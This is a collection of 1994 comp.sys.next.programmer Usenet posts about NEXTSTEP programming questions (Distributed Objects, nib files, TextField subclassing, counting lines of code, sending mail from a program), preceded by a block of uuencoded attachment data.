M7C=61STN/3TJ0%,_/D@O*U17)#8T5U$*341*+SLA35LD+2-'+3I-2DA$5CM* M3"8D3BX_150R5#E3.510+D522R0V/%M00CP]/5@G,C<N*4Y:-T<M(PI-2%5* M3"9!7EE*,RP]7$4W+U\N/$A57T<P)E5/5#!,+#Q<(RM?+2Q6-3Y?+R0B5U=% M0S->5U,X)CY<3#9#"DTK7R]9+4\[,4M65U4[.T];6",X-R(Z24LL8"XV15-4 M)C-&*2U45$8_.SM5*S<_+#8Q,$,F-CY?6DTL-EX*35`Q6E=>/D,U-S].2$=3 M6UA.-5U=6EI71#Y23"%77DQ6(5-..S(C+#,[6UE>5E8_)S\]24\J75$Y3D=7 M3PI-53DZ7E8J3R\_*RTW/E].7C@S3"Y/0%U72RQ-/5I71T<^3T,C,T=64DE0 M5UM95CQ975TW+S]+63,O3DY&"DTD-UPM65=96#%7(58]5CY-25$T7#DP+4M` M1$XO731(7$5(8"E12")762%5.F`X)"@R8"PJ0B4D-%HH8#<*32HC,D%!5EH\ M25=".%E7+3,M6"HW,5<P1DHG14(I-4582$@D.D$Q+%I11THH15<L25(G0$LF M*"I*/29,4@I-7"@H3CPR/E!1,5140BA@*EDV+%!8)%1"2#<U-"4X)%Q:*"Q1 M)B@Q5RQ'1DDI-3@Z.3@Q*%(F05195RM,"DU%)U);35=23UU732PV*#95/2@R M5D$X-2LN)S9*55@V735124!"*#I:,5$J7#576E!95U-3+5=50SE75U<*3355 M04A)5U])65=46E5'6E@I5UM505@_1DU8/4I55U5-75@_7D552$@Q-UU7*B@_ M6#E80UM96#Y7(4A`6@I-*B@D*U8H8#9>)%Q`0B=*.%(H)CI.)4PX4B@H5UPV M,D-0,58N*3A),D8E/#HN*"9!7B@B/28G45M`02-!"DT].$@]13@\4DPH244U M.$I52B9&5THH22Q:*"M(7%@L4CXF32-2*"DM+BA1+RXH+EHN)2DT2B<[)3TH M-2H*34XE.R@J*%!0(B@S+"8H.S`R*#DI.B%)1T(G34DB*#T^5B=24C%8,4(B M(2\\.B@[-#XH1D4V)SI)-#(V8`I-529-6%A(.RI-6#E3-BA:1$(A(TY.)%U, M6$%7(C(H74HJ*#U-)BA"+C(G6S=)6#\Z45@]2S%814]-6$%9"DU5.%E04BA? M448H43,I6$(O/BE@-"E(15U&*$(U6BDC3%DE03I5,21!4#<H+C8H-R<A5U8_ M*B%(/4XH1D,*34HH+$!.,31"-C$L-5HD2E8].2A515DH2%TX2#\F*"9<5B5& M5D8H2"]6*%`T03DL2RHX2E%"*2A=*C%*7@I-(BDP-RHI,2U%.3!?0CA-+DXX M+S8R*%$P/BA2-T8H4S<V*%$B+BDW+SHH-44N*%4Z6BA1.CHY-SDZ*%L["DTJ M*%<^3BA:/C8H,4-**3DY4BDO6B8I)U!:*%]?+2A?638G6T]6*%]2*BD]6BHY M)596."Q<,4`L43PR/#(*35E2,5M(2#)0+5E!)"TP+S156$@[-#9&(S8Y0%(X M-4(H4C9:3CU9,%5=62L\+4DH4S8X,%9*-5(D0C$B-0I-(C4Z-THY0CHJ.4A# M3#$W3$%`+#I!,"Y$6#144EPG4CM*-D(]*CDL138Y+C->,59-7CE*45XT7E1* M-5)3"DTZ*$DK*CDV,SXV0&`M,4@M5B%*43$V4TPR*$Q>-CE38#XF/B1".5!$ M2#E25U$I44%9.5)(25@G/DDF4#(*33U&0R%(-BXI0C@A,"HY52$^.5$K0BE4 M6$@I5EQ1.5<A65E55T1#6D,X-4\L4C%714HW1U(B.5A.*#E;5PI-4C5,/EHX M4#`B,2Y@5CD_1BXY/"0V23PF1DD_6THJ8#1*.5XM7CE"1"DY*E(A2B5+6$E# M1"$I1#0R1BHS"DTR.4HG(CHB2%(Y0#<J2B9,32HD-C%)5C1>.B8I6CA6*S(Y M5E8F.2Q$)C126D(Z*#XZ241`4DHJ248U2B0*35(Y3D58.4I772E.4RXY0$\V M04I8*CHL54PY3DQ6.BY>-C8](4)**S9*.3,K-C8G4"(W5S5..5A8)"HW+0I- M+CE!1E$Y7U4N.5I714E<3EXQ2#Q=5%M:*5-<*D8J+3<U.C<I/CHW.2HZ-3I> M25=46CE?1"8Z8#19-25!"DU)5"LK/5`M1CI"-4A>224[)DH_5BXZ/B,J.CI` M)41914Y%3$TZ2B9<,3HJ,38V2S0F.B0Y+DHF,C(Z+B8*33HZ+$M&241"3DI" M,39**C-*25Q).DI&.%(Z/#TV2D9&/CHN.$)**%P^1S$K*DE/(4HZ+DM.,C$J M7DHM+`I-5DI)-U$W22XY528H6CE:25HJ,39"2C<[4C8N5CI(2DQ1-4Y:+DDY M549!2EU62CDY,DE57R9)6B%>2C54"DU&1%U6+DHZ)CI%35M&2D!:)BI252XJ M42Y--4Y;6DI%+U))6TXR,2U/+DE?+EI*-U@F.E0J+"I6)49*/S<*359*/$-- M.5Y@0DI80#))5B1"2CXG7D5#.%9)5C!.028R6DI"*D)*)UY22D1@1EI4(4U7 M64,Q54M2)%516`I-1CI6+BHZ4EE:2E<F1D1?.EI)+SPV2E(C/DH]1#I*5B@B M2EPT-3LF0CP[)#)&6R<T6DI8/3);*TU&2EU'"DTB2E!7-"(V34%36BXY2#XM M54LB2#50+$U254Y=)%LM0BU;+V`R2"170"$H6%0W+2P\1D,B53LN2R$[,%<* M33%:23DP2R\A.5LL3D9;+C\M1BI+/48\4CP[,%!$.S(U,CLS2C9+-E9!.S$B M4E@Y.U`[,S!16S1?/ELU/PI-2ELU)E9;-49*6S%!(EI0)T)2/%-(.V!4/C$M M3C92-"@F6SY,32LB3"DK.%4E42U6(EL_044K/5-26S\J"DTA.RI8,DI00S); M-"].6E0Q7E5#/SY(12]1-%U),31;/UHK(E<J2RHN+ELG6BDK15TU.T8^)BM% M,54[14P*358[,%=>6R@^)3LV3#%+0DE9.S!8(ELN2%);+31:6RT^-EI%2"9; M338F6S%,(E`N2C9:3D4B6S127E9&6PI-4E191"Y;33DJ5CI62ELZ6#9922M& M6SE%1EM1(SI;4CHM6U%+2EM133);-4]&6R(B2E4A5#I;55]"6U13"DTL.T%5 M1EA!6%Y;5SHF6U!#43M*1DI;+3(Z6U@_5EM.3EY;3$(]6U,M0ELW+S9;,U(R M6U-,34M1-%I;6D<*32);73,F6U92+EM754Y;-"%;*U%`2EM/+$);7$`T*TQ@ M/RM/5#Y<(TPR6R<W+EM96DY;5S$N7"8A,EM8+`I-4E8L+T$A45@T,3PJ1"(Z M.%Q4(4$\(BQ"*RPJ7UPR,R$L-S(A221-5$PD4RU)(4,P76`I1C0Q55-48"DR M"DTL(59`4#@Z(S!42D9!)$I?+2187RI<*T=@,"A(4&`R1T!`.SD\0#)!/%(L M76!@*4)4(4(C1#$Z.#`P.$D*35`A.#\P0B4A5R1)6C),,TA`,"HW*#`]2V!@ M*2PW+"A`7"PS3%@P.C4L/#8R-#`Y-D,L-4PL,D$[(R4I+PI--$PP2$0A0BM, M,B8J3$%!2U0A75,\(4!(+&`Y33PL-2]'(CDK/$PU,T0L-5)/)$I-624A55\L M-S-58#E0"DTP(5E:."PR(C,L0R-,13110#Q"*BM@-5-+(2XO.RPR,2\L1#L\ M0BXA+RQ!1T<L1%%,+$502RPV+$<G6D$*33\L/C\P7$A`0&`^-D,L2B4O)4), M1RQ!45LL1D\K)5E343$U5BLA0B0T,#HF-#,N540R52\S(2Q24"Q&70I-7RQ' M7"(A659#+#\R8$`H0T0L25M83%).3R(Q+RA$6S)?+#4Q,RQ1-#,B5"LP7%5. M1R$E+S]@+%A(+%8K"DU3+%=`6#Q#/SLL,S0I(E-!4RPY-4\B-"E$4#LG/RQ* M.#LL0%10+%I>6RQ:324\34E/+#LE/RQ?1D\C(DD*35,A2%5@+2)?)2Q12R5< M3U-#(BU**RQ934\C(D$\44];/RQ&25LL7"Y3,2@P/SLO44-@*#97,40I0SQ8 M00I-+E`L/RL]8"LC+256-RU@3R0L-B%0/#LG)R-*,UPQ7EE#8"Y-(5`L2R,] M)4,D3$Y#,R%88&!0/5508#E7"DTP,49!3#Q07UI=8$8T1$5%)#-(33125R1, M,BLI2#1%/5Y)74!:2$0C3DD\,UXX7"PR23U<7CHC+UXY/"X*35I--$Y6.EPZ M5DI%1R\Z*CM62D`U6DDJ/S9*2C<J2DHO4DTX(UI=.#PR2D9%3C1)4T\Z7U$N M.C(^1CE-)PI-2DT\2B9*25XS.C9/5DE.4E)*22(F22DD)DHL5"X]0CY&2DA> M(DE.4TI)6T95(3(Z3SU&/%<]1CY?/49`"DTG/4I"+SU*1#<]2D8_/4I(1SU* M2D\]2DQ7/4I.7SU*4",]3U<D4U1;36`T73$D6%\M)"\])%0W0%!4-2T*32$D M,45`)#$C42-?2EA=340M)"TP+2U34BQ4-4(Y+5$N12$[63A4+3E5(UU#72U1 M15PD-3LD)#LU-S0[6`I-020X+B$D)4PY8#E.-20D(B1$/5,A+3<Y5$0E6$DB M4U4D0TE<.2TS-%Q$/B%=8#HC)2U>)3TD0BDE8#HK"DU5(D8N*2(B,"DD1%98 M33(W12%'/DPT1CU=)$="3#Q@75LL*D<](58_/R(W8"$A+R4M*2Y6021-54PT M3#<*341")45<+B,B)21,,T-$3#573"LJ42115U@D4S`I)%<T32XG-T$C13), M1%8J3$M&02Y5-D-"62I`4E4\4@I-2TM%6E$[1%=31CU9648]5DE'1%M=-5HC M144Q8"]&/%Y=/BQ:)BXP)$U&(21'3C$F-T8C2S4V02]33C)4"DTV13A55T1> M-"Y>+5U=5D@S+48H1U)(*3<O2T5>(3945E8N-4I?.T5'03XU0R-.,3PS1D0E M0E=(1R%&+EL*33E&3D=%-DU2*T907"XJ-5TQ5DU3-T5)55-..U$]1C,O435- M,S8U328A1C-!-49?6S%&644E24DS)4Y"*`I-,T9=3#M&72]91E\A158U)5)6 M7T513B](63XM,3=.,B(Q12U1*4XV04M%6TI*3C%*+4Y*0%=.+2=?3D4N"DTW M3DM?539515M..4\C/CU-)T9-62,^0E-#3DT_1TXQ7$-./5];3D\A449-64-& M-E\S3E,A.TY.,"]&7B0*32M.3B=33E)=+3Y&*S]&73%%3C$T7497,U5.4BI' M3D8L.TY',$%>13LU3D<U(TX],S=&/DXS3EI02TY*3PHQ4TY),#].2T5+3EM( M4TY:1E-.12(S12\S"F`*?0JL?5QP87)D7'1X-38P7'1X,3$R,%QT>#$V.#!< M='@R,C0P7'1X,C@P,%QT>#,S-C!<='@S.3(P7'1X-#0X,%QT>#4P-#!<='@U M-C`P7&8P7&(P7&DP7'5L;F]N95QF<S(X7&9C,%QC9C`@7`I<"@I<"BTM7`I< M"DAO=V%R9"!#+B!3;6ET:%P*3F%T:6]N86P@26YS=&ET=71E(&]F($5N=FER M;VYM96YT86P@2&5A;'1H(%-C:65N8V5S7`HQ,3$@5"Y7+B!!;&5X86YD97(@ M1')I=F5<"E)E<V5A<F-H(%1R:6%N9VQE(%!A<FLL($Y#(#(W-S`Y7`IS;6ET <:$!N97AT;VYE+FYI96AS+FYI:"YG;W9<"@I]"FLL `
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: Where is Nathan Janette? Re: Together we stand, divided we fall. Message-ID: <1994May10.192745.23009@pcp.ca> Keywords: comp.sys.next.misc, comp.sys.next.advocacy Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. References: <1994May10.031426.25333@cs.yale.edu> Date: Tue, 10 May 94 19:27:45 GMT Hello there: On a more personal note: has anybody succeeded in joining this coalition? I had expressed interest in joining it and got the final info but I can't seem to reach Nathan; his phone message said that he would be unavailable Tuesday but the deadline for all this is Wednesday. I would like to hear from anybody who knows what the final story is on this - I don't want to miss an opportunity to be at this great event! If you have any more info on this, I would appreciate a note at Nghiem_Alex@pcp.ca or a call at (403) 290-2589. Thanks in advance, Alex Nghiem_Alex@pcp.ca (Preferred until June 16th) alex@oolesson.com In article <1994May10.031426.25333@cs.yale.edu> nathan@laplace.csb.yale.edu (Nathan F. Janette) writes: > In article <1994May9.195106.980@seer.demon.co.uk> paul@seer.demon.co.uk (Paul > Lynch) writes: > > > It read to me like a slightly tired, but still humourous, post from Cliff, > > given Nathan's track record of attacking price posts, even when they seem > > to others to be acceptable. He should, of course, have posted to > > c.s.n.announce. > > Everyone is entitled to their opinion. If you thought that was humor, I > think that's funny ;-) > > I don't think I should have posted to the announce group to reach ISVs, I > think I should have posted where the ISVs live: the programmer group, > and that's just what I did. I also posted to the advocacy group because > it seemed like rather pure advocacy at that! > > For the second time I will state there is no profit motive involved in > this coalition. The considerable amount of time I've spent arranging > this project has been totally uncompensated. The thanks I've received > from member vendors has been most gratifying, however. > > I'm about to close the coalition, and the replies are still coming in > asking to join... > > -- > Nathan "USENET" Janette > Systems Manager, Brunger Lab, Dept MB&B, Yale Univ/HHMI, New Haven, CT > PPP link from hilbert.csb.yale.edu > Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.programmer From: nt@sfc.keio.ac.jp (Naozumi Takenaka) Subject: Unexpectedly Disconnecting the Distributed Object Message-ID: <NT.94May9112226@ccn17.sfc.keio.ac.jp> Sender: news@sfc.keio.ac.jp Organization: Keio University Shonan Fujisawa Campus. Distribution: comp.sys.next.programmer Date: Mon, 9 May 1994 02:22:26 GMT Hello all, I am bothered about DO again. X-( 1. Throwing the remote method to "run"ning DO makes mouse cursor be "waiting" forever. The Method is like this: |- (oneway void) sendBreak |{ | ioctl(SET_BREAK); | sleep(3); | ioctl(CLEAR_BREAK); | return; |} 2. Therefore, I tried vfork(); |- (oneway void) sendBreak |{ | int pid; | ioctl(SET_BREAK); | if((pid = vfork) < 0){ | error(); | } | if(0 == pid){/*child*/ | sleep(3); | ioctl(CLEAR_BREAK); | exit(0); | } | return; |} But when exit(), the server object (which is implemented this sendBreak method) become invalid. Invalid handler is called twice. 2. Next, I tried vfork() & execl(); |- (oneway void) sendBreak |{ | int pid; | ioctl(SET_BREAK); | if((pid = vfork) < 0){ | error(); | } | if(0 == pid){/*child*/ | sleep(3); | ioctl(CLEAR_BREAK); | execl("/bin/echo", NULL);/* for dummy */ | } | return; |} But when exec(), console says like "add_set_port() returns 4", and being called invalid handler twice. Thanks in any suggestions. -- --------------------------------------------------+--------------------- takenaka naozumi Digital Media Services | A representative of at SFC Media Center | the project spanner nt@sfc.keio.ac.jp nt@spanner.linc.or.jp (NeXTMail welcome) ------------------------------------------------------------------------
From: "Gregory P. Otto" <loopy+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Getting the main menu from a foreign nib Date: Tue, 10 May 1994 16:41:30 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <Ihnz5uK00WBKA7qUdn@andrew.cmu.edu> Hi... I'm writing an app that opens a nib file (as specified by the user) and gets its main menu object. To get the main menu from your own app, the easiest way to do it is to: aMenu = [NXApp mainMenu]; However, NXApp only returns the main menu of your own app. I tried doing a loadNibSection with names and using NXGetNamedObject, but you can't always rely on the mainMenu being named "MainMenu" (it can be changed in IB). My question is basically this: Is there some way to get the main menu of another nib file via outlets? Thanks a lot, Greg. go0b@andrew.cmu.edu
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Getting the main menu from a foreign nib Message-ID: <1994May10.214706.6623@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <Ihnz5uK00WBKA7qUdn@andrew.cmu.edu> Date: Tue, 10 May 1994 21:47:06 GMT In article <Ihnz5uK00WBKA7qUdn@andrew.cmu.edu> "Gregory P. Otto" <loopy+@CMU.EDU> writes: >> >>I tried doing a loadNibSection with names and using NXGetNamedObject, >>but you can't always rely on the mainMenu being named "MainMenu" (it can >>be changed in IB). >> >>My question is basically this: >>Is there some way to get the main menu of another nib file via outlets? >> <<opening my big mouth in hopes of someone correctly correcting me...>> The way IB/nib files currently work, this is a pain. The basic problem is that when you ask NXApp to open up a nib file and make you the owner, you don't get back a list of all the objects in that nib file. They magically show up in your app's dataspace (for want of a better term). The only way to get some handle on what objects got unarchived from that nib file is to clear out some outlets (i.e. set them to nil) before opening the nib file, open the nib file, and then check to see if any of those outlets have been set. The bogon of this is that the person who made that nib file had to set the File's owner to a class which had that outlet and then connect the appropriate object to that outlet. For your problem, this is semi-reasonable, since you just want a rather specific thing (a menu, of which there's only one in a nib file). But what if you just wanted to know about any objects in the nib file that conform to a particular protocol? You have to do some variation of the outlet *hack* to do this. Why would you want to do this? Well, in my WWTCLWidgets palette, when a WWTCLInterp loads in a nib file, it needs to grovel through the nib file to find all UI objects that conform to an informal protocol which sets up a constraint between a UI object and a tcl variable's value (or an arbitrary tcl expression). It then sets up variable traces for each UI object that cares. The hack I have to use is that you need to set the File's Owner of the nib file to WWTCLInterp and then you have to attach any Window or Panel that has any UI objects on it to the "controlPanel" or one of the 9 "accessoryPanel" outlets of the File's Owner. yuck. Also, since the whole thing runs inside of IB's test interface mode, and I have objects which load nibs inside of test interface mode, I need to keep track of what windows & panels I open up so that I can free them when I go out of test interface mode. In order to keep track of them, I need to engage in this outlet *hack* to make it work. If a user forgets to hook up a window to an outlet, where that window or panel is in a nib file that gets loaded into IB by some object running in test interface mode, when you go out of test interface mode, the panel will still be around when you go out of test interface mode, and the next time its touched, havoc results. I sure hope this is addressed in 4.0, if not 3.3 (or someone can post a correction or better workaround). -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: using mail from system? Message-ID: <1994May10.224918.25465@pcp.ca> Keywords: system, mail Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Tue, 10 May 94 22:49:18 GMT Hello there: I have what may be a naive question here. I need to programmatically mail a short e-mail message during runtime. Since the user does not need to interact with the mail program, I was hoping to use the C system call system with mail as follow to keep things simple (I know about the back-door into NeXTMail but like I said, I want to keep this simple): system ("/bin/mail user_id < input_file") However, I keep receiving the following error messages: sh: privileges disabled because of outstanding IPC access to task cannot chdir(/usr/spool/mqueue): Permission denied Am I missing something obvious here? Is it because I can't use system with a program that has suid privileges? Any pointers appreciated. Please e-mail me and I'll summarize. Regards, Alex Nghiem_Alex@pcp.ca (until June 16th) alex@oolesson.com
Newsgroups: comp.sys.next.programmer From: stef@ziomm.fdn.org (Stephan Mertz) Subject: Re: Setting NeXTstation switching on with programm Message-ID: <1994May10.224819.1355@ziomm.fdn.org> Sender: stef@ziomm.fdn.org References: <2qmamu$t7s@zip.eecs.umich.edu> Date: Tue, 10 May 1994 22:48:19 GMT In article <2qmamu$t7s@zip.eecs.umich.edu> Roland Telfeyan <telfeyan@eecs.umich.edu> writes: > > Does someone know how to set the date and the hour of the NeXTstation > > automatic switching on (probably by setting the PROM)? > > If you've got the right system board version, just click on the power > switch icon in the Preferences app. Thank you, but i need a programming solution for justly avoid using the Preferences App. -- Stephan Mertz Tel/fax: [33] 88 44 47 25 NEXTSTEP Developer e-Mail: stef@ziomm.fdn.org 55, rue de Mulhouse (small NeXTmail accepted) 67100 Strasbourg FRANCE
Newsgroups: comp.sys.next.programmer From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: Where is Nathan Janette? Re: Together we stand, divided we fall. Message-ID: <1994May10.231432.4790@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <1994May10.192745.23009@pcp.ca> Date: Tue, 10 May 1994 23:14:32 GMT In article <1994May10.192745.23009@pcp.ca> Nghiem_Alex@pcp.ca (Alex Nghiem) writes: > Hello there: > > On a more personal note: has anybody succeeded in joining this coalition? > I had expressed interest in joining it and got the final info but I can't > seem to reach Nathan; his phone message said that he would be unavailable > Tuesday but the deadline for all this is Wednesday. I would like to hear > from anybody who knows what the final story is on this - I don't want to > miss an opportunity to be at this great event! Alex, chill babe, I know you're excited, but you don't have to put an All Points Bulletin out for me because I haven't returned your dozen calls in the last 24 hours ;-) I took a day off, and thought I mentioned that in my email to all the vendors. Sorry for any inconvenience! We're closing the deal Wednesday morning for you staggerers out there... -- Nathan "USENET" Janette Systems Manager, Brunger Lab, Dept MB&B, Yale Univ/HHMI, New Haven, CT PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.programmer From: frank@fnbc.com (Frank Mitchell) Subject: Re: Counting lines of code [a 1-liner] Message-ID: <1994May10.174707.18700@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2qm1he$p3@sol.ctr.columbia.edu> Distribution: usa Date: Tue, 10 May 94 17:47:07 GMT In article <2qm1he$p3@sol.ctr.columbia.edu> gbrown@raven.ctr.columbia.edu (Glenn Brown) writes: > > In article <CpEGIq.Awu@mrk.com> jerald@mrk.com (Jerald Dawson) writes: > > > I want to count the lines of code that make up an app we just > > > ported from windows so we can compare the two. > > Drew Davidson writes > > Here's the script that I use. [Much code deleted] > > Ick! Just use > find sourcedir -name \*.\[hcm\] -exec cat {} \; | wc > where sourcedir is the root directory of your source tree, and this > command will count the lines in all files named *.[hcm] in that directory > or its subdirectories. I think my colleaugue's point was to count the lines of *code*, not the lines of text (including comments and whitespace). -- Frank Mitchell email(work): frank@fnbc.com (NeXTmail) (home): frank@gagme.chi.il.us "I would not live in any country in which I was the president." -- Tom Brokaw
From: gbrown@raven.ctr.columbia.edu (Glenn Brown) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 11 May 1994 09:44:02 GMT Organization: Columbia University Center for Telecommunications Research Message-ID: <2qq9d2$ace@sol.ctr.columbia.edu> References: <1994May10.174707.18700@fnbc.com> Drew Davidson wrote > > > Here's the script that I use. [Much code deleted] To which Glenn Brown Replied > > Ick! Just use > > find sourcedir -name \*.\[hcm\] -exec cat {} \; | wc To which Frank Mitchel sagely responded > I think my colleaugue's point was to count the lines of *code*, > not the lines of text (including comments and whitespace). To which I respond: Point well taken. Even that can be done in one (long) line using the sed trickery from Drew's script: find sourcedir -name \*.\[hmc\] -exec cat {} \; | sed -e '/^[ \t]*#/d' \ | /lib/cpp | sed -e '/^[ \t]*$/d' -e '/#/d' | wc -l While this line doesn't show individual file stats, it does recursively search all subdirectories for source files, unlike drew's script. Hence, I believe Drews script can be improved by using 'find'. I should point out, however, that Drew's sed tricks do not remove all blank lines from the source when counting... only most of them, so both his script and the one-liner above slightly overcount lines of code. --Glenn
From: kampp@informatik.uni-koblenz.de (Ralf Kampp) Newsgroups: comp.sys.next.programmer Subject: Re: Finding objects Date: 11 May 1994 11:20:54 GMT Organization: University Koblenz / Germany Message-ID: <2qqf2m$sjj@newshost.uni-koblenz.de> References: <1994May4.042827.9217@nugget.rmNUG.ORG> Chris Huston writes >is there a way to find the ID's to these text fields on the fly? Give the textFields distinct tags (accomplished via the InterfaceBuilder) and then locate them by myText = [[theWindow contentView] findViewWithTag:x] where theWindow is the textField's window and x is the tag you gave to the textField. Don't use x=0 'cause that's the default for every view ! Ralf
From: kampp@informatik.uni-koblenz.de (Ralf Kampp) Newsgroups: comp.sys.next.programmer Subject: Re: How to subclass TextField? Date: 11 May 1994 11:25:02 GMT Organization: University Koblenz / Germany Distribution: world Message-ID: <2qqfaf$sk6@newshost.uni-koblenz.de> References: <2q61lk$gek@netnews.upenn.edu> > >How does one subclass a the TextField class and get it to appear in a window > In your appDidInit-Method (or somewhere else you are sure it will be executed early enough) use [[MyTextField poseAs:TextField] Then all TextFields behave like MyTextFields. Ralf
From: kampp@informatik.uni-koblenz.de (Ralf Kampp) Newsgroups: comp.sys.next.programmer Subject: Re: How to subclass TextField? Date: 11 May 1994 11:36:03 GMT Organization: University Koblenz / Germany Distribution: world Message-ID: <2qqfv3$soo@newshost.uni-koblenz.de> References: <2q61lk$gek@netnews.upenn.edu> Joe Panico writes > >Hi, > >How does one subclass a the TextField class and get it to appear in a window >in IB. > In my previous answer I forgot to point out that a big bunch of TextField's functionality comes from TextFieldCell. So you may also/alternatively want to subclass this. Ralf
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: Help needed subclassing SliderCell Message-ID: <gelatoCpMynn.E5I@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Wed, 11 May 1994 11:30:59 GMT I'm trying to sublcass SliderCell to impose some restrictions on the value of the cell (eg, to ensure the value is an even multiple of, say, .003125). I thought I could get away with just overriding continueTracking:at:inView:, calling super, and then fixing up the value of the "value" instance variable per my restrictions. This works 99+% of the time, but every once in a while a one-pixel-wide vertical line is left behind when the knob is being dragged. I can kinda see how this could happen, if the cell doesn't store the x coord of where it last drew the knob, but recomputes it from the value; if my modified value maps to a different x coord, it gets screwed up. Does anybody have any ideas how to fix this slight problem or have a suggestion on a better (or the "right") way to do the subclass? I couldn't locate any source on the archives that did this.
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: Counting lines of code [a 1-liner] Message-ID: <1994May11.115117.13104@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2qq9d2$ace@sol.ctr.columbia.edu> Date: Wed, 11 May 1994 11:51:17 GMT In article <2qq9d2$ace@sol.ctr.columbia.edu> gbrown@raven.ctr.columbia.edu (Glenn Brown) writes: :Drew Davidson wrote :> > > Here's the script that I use. [Much code deleted] : :To which Glenn Brown Replied :> > Ick! Just use :> > find sourcedir -name \*.\[hcm\] -exec cat {} \; | wc : :To which Frank Mitchel sagely responded :> I think my colleaugue's point was to count the lines of *code*, :> not the lines of text (including comments and whitespace). : :To which I respond: :Point well taken. Even that can be done in one (long) line using the sed :trickery from Drew's script: : :find sourcedir -name \*.\[hmc\] -exec cat {} \; | sed -e '/^[ \t]*#/d' \ : | /lib/cpp | sed -e '/^[ \t]*$/d' -e '/#/d' | wc -l : :While this line doesn't show individual file stats, it does recursively :search all subdirectories for source files, unlike drew's script. Hence, I :believe Drews script can be improved by using 'find'. : :I should point out, however, that Drew's sed tricks do not remove all :blank lines from the source when counting... only most of them, so both :his script and the one-liner above slightly overcount lines of code. : :--Glenn The second process is close to the reality ... I have done the both on the ZZVolume source directory with the first process I noticed 90393 lines of code with the second process I got 65750 lines of code if the process dont remove blank lines I have close to 25000 lines of comments .... a bit two much maybe, I bet I have less Gery
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 11 May 1994 12:16:30 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May11131630@steffi.demon.co.uk> References: <1994May10.174707.18700@fnbc.com> <2qq9d2$ace@sol.ctr.columbia.edu> To: gbrown@raven.ctr.columbia.edu (Glenn Brown) In-reply-to: gbrown@raven.ctr.columbia.edu's message of 11 May 1994 09:44:02 GMT Care to tell me who's paid by the number of lines of code they write :-)? how is this metric used exactly? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: Re: using mail from system? PROBLEM SOLVED! Message-ID: <1994May11.151117.4632@pcp.ca> Keywords: system, gdb, mail Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. References: <1994May10.224918.25465@pcp.ca> Date: Wed, 11 May 94 15:11:17 GMT Hello there: I posted this a couple of days ago: In article <1994May10.224918.25465@pcp.ca> Nghiem_Alex@pcp.ca (Alex Nghiem) writes: > Hello there: > > I have what may be a naive question here. I need to programmatically mail > a short e-mail message during runtime. Since the user does not need to > interact with the mail program, I was hoping to use the C system call > system with mail as follow to keep things simple (I know about the > back-door into NeXTMail but like I said, I want to keep this simple): > system ("/bin/mail user_id < input_file") > > However, I keep receiving the following error messages: > sh: privileges disabled because of outstanding IPC access to task > cannot chdir(/usr/spool/mqueue): Permission denied > > Am I missing something obvious here? Is it because I can't use system with > a program that has suid privileges? > > Any pointers appreciated. Please e-mail me and I'll summarize. > > Regards, > > Alex > Nghiem_Alex@pcp.ca (until June 16th) > alex@oolesson.com This turned out to be a simple problem. gdb doesn't allow progrmas with setuid to run successfully. Three solutions were proposed by various people (too numerous to thank here!): 1. run the application outside of gdb 2. use /usr/ucb/mail, which does not do a setuid 3. use fork and execv rather than system We used the first one and everything works great! Thanks for all the help! Alex Nghiem_Alex@pcp.ca (until June 16th) alex@oolesson.com
From: ernst@cs.tu-berlin.de (Ernst Kloecker) Newsgroups: comp.sys.next.programmer Subject: How does one get direct access to the TCP/IP stacks ? Date: 11 May 1994 16:16:47 GMT Organization: Technical University of Berlin, Germany Message-ID: <2qr0df$nee@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Summary: TCP/IP, how is SLIP implemented Keywords: SLIP TCP/IP LKS Hello, I might have a project coming up which requires to bind TCP/IP to some hardware other than ethernet, possible multiple interfaces (and IP addresses) in addition to ordinary ethernet. How would I go about that with the NEXT-OS ? I know it must be possible, as the same thing is done in any SLIP implementation. Thanks for any info, Ernst. -- ----------------------------------------------------------------------------- Ernst Kloecker phone: ++49-30-6181635 e-mail: ernst@cs.tu-berlin.de -----------------------------------------------------------------------------
